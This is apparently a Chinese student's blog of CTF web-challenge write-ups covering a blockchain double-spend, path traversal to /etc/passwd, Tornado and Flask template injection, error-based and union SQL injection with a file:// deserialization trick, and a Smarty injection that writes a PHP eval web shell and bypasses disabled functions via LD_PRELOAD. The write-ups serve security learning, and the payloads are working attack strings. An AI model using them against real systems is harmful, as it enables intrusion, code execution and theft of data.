Web_python_block_chain
在攻防世界题目复现里没有提示,大佬的wp写的很详细,直接抄了,没接触过区块链
https://xuanxuanblingbling.github.io/ctf/web/2018/05/01/DDCTF2018-WEB4-区块链/
题目提示: 某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是,该银行被黑客入侵,私钥被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?
注意事项:区块链是存在cookie里的,可能会因为区块链太长,浏览器不接受服务器返回的set-cookie字段而导致区块链无法更新,因此强烈推荐写脚本发请求
双花攻击
在比特币网络里,你有多少钱,不是你说了算,而是大家说了算,每个人都是公证人。”基于算力证明进行维护的比特币网络一直以来有一个重大的理论风险:如果有人掌握了巨大的计算资源(超过全网过半的算力),他就可以通过强大的算力篡改区块链上的账本,从而控制整个共识网络。这也被称为51%攻击,虽然这种攻击发生的可能性不是很大(掌握这种算力的人本身就可以通过挖矿获得巨大受益,再去冒险篡改账本很容易暴露自身)。仍然是理论上看:一旦这种攻击被发现,比特币网络其他终端可以联合起来对已知的区块链进行硬分叉,全体否认非法的交易。
区块链基础知识
关于区块链的一些基础知识,单独有博客,所以这里就没有了
题目分析
页面打开,是一系列json数据
将代码格式化:
代码格式化站点:https://www.html.cn/tool/js_beautify/
1 | hash of genesis block: 8cfb0301000286c266a3d29d78c498ade17556412afcf7135e842ffa127d735f |
再打开python源码
1 | # encoding: utf-8 |
在source code 中可以发现几个接口
\source_code
:查看源码\reset
:重置记录\create_transaction
:接受post参数,创造一笔新的交易,并且检查商店的钱包中如果存在100w,则可以消耗100w得到一个钻石\5ecr3t_free_D1diCoin_b@ckD00r/<string:address>
:把银行剩余财产转移到指定账户\flag
:如果钻石个数大于等于两个,打印flag- 根目录:打印基本信息
sourcecode中的一些关键函数
构造
create_output_utxo
- 输入:余额钱包地址,剩余金额
- 返回:utxo数据块
create_tx
- 输入:付款钱包utxo的id,收款钱包的utxo数据块,付款方的私钥
- 返回:tx(交易)数据块
create_block
- 输入:前一个区块的hash,调和参数nonce,tx数据块
- 返回:一个区块
交易
transfer
- 输入:全部utxo,付款地址,收款地址,金额
- 返回:tx数据块
append_block
- 输入:区块,难度系数
- 返回:交易成功或者失败
校验
find_blockchain_tail
- 输入:无
- 返回:当前区块链中height值最高的块,即尾块
calculate_utxo
- 输入:区块链的尾块
- 返回:由尾块向上计算到创世块生成的全部utxo
calculate_balance
- 输入:全部utxo
- 返回:一个地址对应余额的字典
get_balance_of_all
- 输入:无
- 返回:余额字典,全部utxo,尾块
攻击思路
在这个区块链中,我们的余额每次通过get_balance_of_all()计算得到,这个函数会依次调用find_blockchain_tail()和calculate_utxo(),来重新由头去尾生成一个新的余额字典,
find_blockchain_tail()认为区块中height值最高的区块为尾块。而每个区块中的height值,由append_block()添加,这个函数会根据区块的前项hash,令本项区块的height为前一项区块的height值+1,由于append_block()并没有校验或者禁止多个区块的前项hash指向同一个区块,所以在整个区块链中是可以存在支链的。计算余额时就要以最长链为主。在这个题目中,如果两条支链长度相同,计算余额时会随机选取一个链,我们这里要构造双花攻击时,为了确保成功,构造的假链最好要比原始主链大一。
程序出事的区块链为:
创世块->黑客块->空块
构造方法一
这种办法只要POST空块即可,转账使用转账后门实现:
- 当POST第三个空块时,主链改变,黑客提走的钱被追回,通过转账后门与POST触发新增两个区块,总长为六块
- 接上第三个空块,POST到第六个空块时,主链再次改变,钱又重新回到银行,再次利用后门得到钻石
构造方法二
- 伪造具有一个银行转给商店的交易记录的区块,这里要伪造tx数据块中的签名
- 签名是通过tx数据库中的input(付款utxo的id)和付款方的私钥算出
- 所以直接利用黑客块中的签名即可
- 当POST到第三块时,主链改变,100w在商店余额中,自动触发购买钻石
- 接上第三块,POST到第五块时主链再猜改变,自动触发购买钻石
攻击脚本
这里我们采取攻击思路二,通过分析init函数,可见一般构造一个区块要通过三个步骤:
- reate_output_utxo:生成转出的utxo数据块,以及自己剩余的utxo数据块
- create_tx:通过上两个utxo数据块以及付款钱包的utxo中的id和私钥生成transactions数据块(id和私钥一起计算签名)
- create_block:利用生成的transaction数据,前一块的hash,以及nonce生成一块符合标准区块
通过三个API构造出如下函数:
1 | def check_hash(prev,tx): |
- check_hash:计算出符合难度系数的hash值的区块
- create_feak_one:生成一个转账给商店的假块
- create_empty_block:生成空块
生成攻击块:
a=create_feak_one()
b=create_empty_block(a[‘hash’])
c=create_empty_block(b[‘hash’])
d=create_empty_block(c[‘hash’])
e=create_empty_block(d[‘hash’])
整合脚本,这里我更改了create_tx方法中的签名的计算方法,直接把黑客块的签名写死到了该方法中,因为毕竟只需要伪造一个有转账记录的空块
1 | \# -- encoding: utf-8 -- |
# 源码中的API
1 | def hash(x): |
运行脚本
warmup
访问得源码
1 |
|
看一下代码,get提交了一个file参数,并设置了白名单,要求?以前的字符串要在白名单之中,那就直接构造就好了
http://111.198.29.45:52387/source.php?file=source.php?../../../../../etc/passwd
测试一下,访问成功
接下来直接访问hint.php提示得flag就好了
猜测应该就在根目录下,直接访问
http://111.198.29.45:52387/source.php?file=source.php?../../../../../ffffllllaaaagggg
Easytornado
给了flag文件的位置,和filehash生成方式,抓包没有发现cookie_secret
所以这s道题主要目的就是找到cookie_sercet
因为tornade是一个python得框架,随便修改一个页面
得filehash,进入了一个error页面,猜测可能可以模板注入
但是测试发现,这里基本上过过滤了所有可用字符emmmm
然后没有思路了,看了大佬的wp,在welcome.txt文件中其实有一个提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页并访问。这道题目在操作时,其实参数也是传递这样传递过来的,在tornade模板中,也存在一些可以访问的快速对象,比如:
1 | {{ escape(handler.settings["cookie"]) }} |
由
1 | {{}} |
和这个字典对象,可知道,这个handler.settings
对象就是我们完成这个题目进行模板注入时所需要的,cookie_secret就存放在handler.settings
中
于是,得到cookie_secret
1 | http://111.198.29.45:33874/error?msg={{handler.settings}} |
大佬的链接:https://blog.csdn.net/iamsongyu/article/details/83346029
接下来构造一下就好了
1 | /file?filename=/fllllllllllllag&filehash=ecfb88a49b25851d92726d2fa8d78b7a |
Shrine
1 | import flask |
打开就有源码,格式化一下,然后审计
在shrine路由里,可能存在模板注入,试一试
确实存在,但是后面的测试中发现过滤了一些字符,重要的’(‘ 和 ‘)’也被过滤了,想办法绕过吧
查了很多资料~~~就剩 get_flashed_messages(), url_for() 可以用了,接下来就利用这个构造payload
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
Fakebook
进入页面,注册登陆,发现在view页面可能存在注入,测试了一下,确实是
这里利用报错注入
爆表名 /view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名 /view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段 /view.php?no=1 and updatexml(1,make_set(3,'~',(select no from users)),1)#
/view.php?no=1 and updatexml(1,make_set(3,'~',(select username from users)),1)#
/view.php?no=1 and updatexml(1,make_set(3,'~',(select passwd from users)),1)#
/view.php?no=1 and updatexml(1,make_set(3,'~',(select username from users)),1)#
在data这个字段里面发现存储的是,一个反序列化的内容,内容就是view.php所展示出来的username,age和blog,所以我们这里可以利用union注入一条新的信息,先看看当前页面view.php里面有啥
view.php?no=31 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"xianyu";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/view.php";}'#
看了些这几个文件都没有发现有flag的踪迹,于是谁便访问了一下flag.php,发现是存在这个文件的
然后依靠注入读到这个文件,得到flag
view.php?no=31 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"xianyu";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
在页面中就会包含flag文件
Smarty
根据题目和给的提示模板注入,谷歌走一波,smarty是php的一个模板引擎,根据提示,在这个题目中应该是存在模板注入的,这个题目的主要页面时一个获取IP的api
通过页面的提示也很容易得出,这里获取IP时通过xff请求头获取的,所以尝试构造xff请求头,模板注入,查资料可得,php smarty模板注入可以使用{$smarty.version}这条用来查询smaty版本的语句验证,所以这里写入xff中,验证成功
在Smarty3的官方文档可以得知
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等
所以我们可以利用这个特性使用{if}{/if}来构造payload,先构造{if phpinfo()}{/if}进行验证,验证成功
大佬的wp说这里很容易就可以利用这个来构造payload得到flag,但是我尝试了很久,命令执行都没有回显,于是又到处去找了一下其他的wp,发现在buuctf上面也有这道题,而且这道题直接就可以命令执行,得到flag,后面猜测buu上面的题目可能没有完整复现,省略了一些方法的过滤,所以buu执行成功了,攻防世界题目要求更高就无法成功,所以 咕咕咕
20200419补充
重新看了题目,终于有突破了,在phpinfo中其实就可以知道,禁用了很多命令执行的函数,而且限制了访问路径
查资料(看WP)知道,这里可以利用mail和putenv这两个函数,使用LD_PRELOAD来达成命令执行
首先写个shell
payload:{file_put_contents('/var/www/html/shell.php','<?php eval($_POST[xianyu]);?>')}
通过这个shell上传我们需要的文件
第一个文件为LD_PRELOAD的C程序编译生成的so文件,代码如下,在linux下gcc编译
1 |
|
第二个文件为,可访问的php
1 |
|
这个库里面有打包好的全套文件上传直接用:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
然后就可以访问上传的php,getflag
Web_python_flask_sql_injection
下载附件进行代码审计,是flask框架(题目名字也说了),在注册页面的邮箱处可以进行盲注,如果执行成功,页面会提示,邮箱已注册,通过这个信息进行盲注
1 | import requests |
PS:明天就要回家,怎么说呢?心情有些烦躁,在学校呆了10天左右,感觉自己啥也没做,越来越怠惰了,我需要整理一下自己的情绪了